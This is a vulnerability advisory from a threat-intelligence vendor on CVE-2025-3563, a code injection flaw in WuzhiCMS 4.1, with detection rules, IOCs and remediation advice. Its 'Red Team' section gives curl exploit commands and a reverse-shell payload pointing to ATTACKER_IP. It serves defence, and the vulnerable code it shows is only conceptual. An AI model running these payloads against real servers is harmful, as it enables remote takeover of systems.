CVE-2025-3563
Executive Summary
CVE-2025-3563 is a critical, unauthenticated remote code injection vulnerability discovered in WuzhiCMS version 4.1. The flaw resides in the Set function of the /index.php?m=attachment&f=index&_su=wuzhicms&v=set&submit=1 endpoint, specifically within the Setting Handler component. By manipulating the Setting argument, an attacker can inject arbitrary code, leading to full remote code execution (RCE). The vendor was contacted but did not respond, and a public exploit has been disclosed, making this a high-priority threat for any instance running the vulnerable software. No patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 10.0 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
- Privileges Required (PR): None – No authentication is needed to exploit the flaw.
- User Interaction (UI): None – The victim does not need to perform any action.
- Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High – Complete disclosure of all files and data on the system.
- Integrity (I): High – Complete control over system data and behavior.
- Availability (A): High – Full control, including the ability to disrupt service.
Threat Level: Critical. The combination of network exploitability, no authentication requirement, and the potential for full system compromise makes this an extremely dangerous vulnerability.
Deep Dive & Mechanics
The vulnerability is a classic code injection flaw (CWE-94) in the WuzhiCMS attachment module. The endpoint /index.php?m=attachment&f=index&_su=wuzhicms&v=set&submit=1 is designed to handle configuration settings for the attachment functionality. The Setting parameter is passed to the Set function without proper sanitization or validation.
The core issue is that the application likely uses eval(), assert(), preg_replace() with the /e modifier, or a similar dynamic code execution function to process the Setting value. An attacker can inject PHP code into this parameter, which is then executed by the server.
For example, a malicious request might look like:
POST /index.php?m=attachment&f=index&_su=wuzhicms&v=set&submit=1 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Setting=system('id');
The Set function would then process this input, leading to the execution of system('id') on the server.
Vulnerable vs. Patched Code
Since no patch is available, a direct comparison is not possible. However, the vulnerable code pattern is likely similar to:
Vulnerable Code (Conceptual):
function Set($setting) {
// No sanitization
eval($setting);
}
Patched Code (Conceptual):
function Set($setting) {
// Validate and sanitize input
$allowed_settings = ['max_size', 'allowed_types'];
if (in_array($setting, $allowed_settings)) {
// Process safely
} else {
// Reject invalid input
}
}
The fix would involve:
- Input Validation: Whitelist allowed setting keys and values.
- Avoiding Dynamic Execution: Never use
eval(),assert(), or similar functions with user input. - Escaping: If dynamic execution is unavoidable, use proper escaping and context-aware sanitization.
Exploitation & Lab Setup
Red Team (Exploitation)
Lab Setup:
- Target: A local or cloud-based instance of WuzhiCMS 4.1.
- Attacker Machine: Kali Linux or any system with
curland a web browser.
Exploitation Steps:
- Identify Target: Use Shodan or manual scanning to find WuzhiCMS instances.
- Craft Payload: Create a payload to execute a command, e.g.,
system('id');. - Send Request:
curl -X POST "http://target.com/index.php?m=attachment&f=index&_su=wuzhicms&v=set&submit=1" \ -d "Setting=system('id');" - Verify Execution: Check the response for the output of the
idcommand. - Escalate: Use a more sophisticated payload to gain a reverse shell:
curl -X POST "http://target.com/index.php?m=attachment&f=index&_su=wuzhicms&v=set&submit=1" \ -d "Setting=system('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"');"
Blue Team (Detection & Response)
Detection Steps:
- Monitor Web Logs: Look for POST requests to
/index.php?m=attachment&f=index&_su=wuzhicms&v=set&submit=1with suspiciousSettingparameters. - Analyze Payloads: The
Settingparameter will contain PHP code. Look for keywords likesystem,exec,shell_exec,passthru,eval,assert,preg_replace,base64_decode, etc. - Check for Anomalies: Unusual outbound connections from the web server, especially to unknown IPs on high ports (e.g., 4444, 1337).
- File Integrity Monitoring: Monitor for new or modified files in the web root, especially PHP files.
Response Steps:
- Isolate: Immediately disconnect the affected server from the network.
- Preserve Evidence: Take a forensic image of the server and capture network traffic logs.
- Eradicate: Restore the server from a known good backup (pre-dating the compromise).
- Mitigate: Apply a virtual patch using a WAF (Web Application Firewall) to block requests to the vulnerable endpoint with suspicious
Settingparameters.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/index.php?m=attachment&f=index&_su=wuzhicms&v=set&submit=1 Settingparameter containing PHP code (e.g.,system,exec,eval)- Outbound connections from the web server to unknown IPs on ports 4444, 1337, 8080, etc.
- POST requests to
- File IOCs:
- New or modified PHP files in the web root (e.g.,
shell.php,backdoor.php) - Suspicious entries in
/tmp/or other writable directories
- New or modified PHP files in the web root (e.g.,
- System IOCs:
- Unexpected processes running as the web server user (e.g.,
www-data) - Modified system binaries or configuration files
- Unexpected processes running as the web server user (e.g.,
Detection Engineering
YARA Rule
rule CVE_2025_3563_Code_Injection {
meta:
description = "Detects code injection attempts targeting CVE-2025-3563 in WuzhiCMS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-3563"
strings:
$endpoint = "/index.php?m=attachment&f=index&_su=wuzhicms&v=set&submit=1"
$php_func1 = "system("
$php_func2 = "exec("
$php_func3 = "shell_exec("
$php_func4 = "passthru("
$php_func5 = "eval("
$php_func6 = "assert("
$php_func7 = "base64_decode("
condition:
$endpoint and any of ($php_func*)
}
Sigma Rule
title: CVE-2025-3563 WuzhiCMS Code Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to the vulnerable WuzhiCMS endpoint with suspicious PHP code in the Setting parameter.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/index.php?m=attachment&f=index&_su=wuzhicms&v=set&submit=1'
cs-uri-query|contains: 'Setting='
keywords:
- 'system('
- 'exec('
- 'shell_exec('
- 'passthru('
- 'eval('
- 'assert('
- 'base64_decode('
condition: selection and keywords
falsepositives:
- Legitimate administrative actions (unlikely)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-3563 WuzhiCMS Code Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/index.php?m=attachment&f=index&_su=wuzhicms&v=set&submit=1"; http_uri; content:"Setting="; http_client_body; pcre:"/(system|exec|shell_exec|passthru|eval|assert|base64_decode)\(/Pi"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate: If possible, take the affected system offline.
- Virtual Patching: Deploy a WAF rule to block requests to the vulnerable endpoint with suspicious
Settingparameters. - Disable Endpoint: If the attachment settings functionality is not critical, disable it by removing or renaming the relevant file.
Long-Term Remediation:
- Apply Patch: Monitor the WuzhiCMS vendor for an official patch. If none is released, consider migrating to a different CMS.
- Code Review: If you have access to the source code, implement input validation and avoid dynamic code execution.
- Upgrade: Upgrade to a newer, patched version of WuzhiCMS if available.
- Harden Server: Apply the principle of least privilege to the web server user. Disable dangerous PHP functions (
system,exec,eval, etc.) inphp.ini.
Valters IT Signature
This report was generated by Valters IT Cyber Threat Intelligence. For questions or support, contact info@valtersit.com.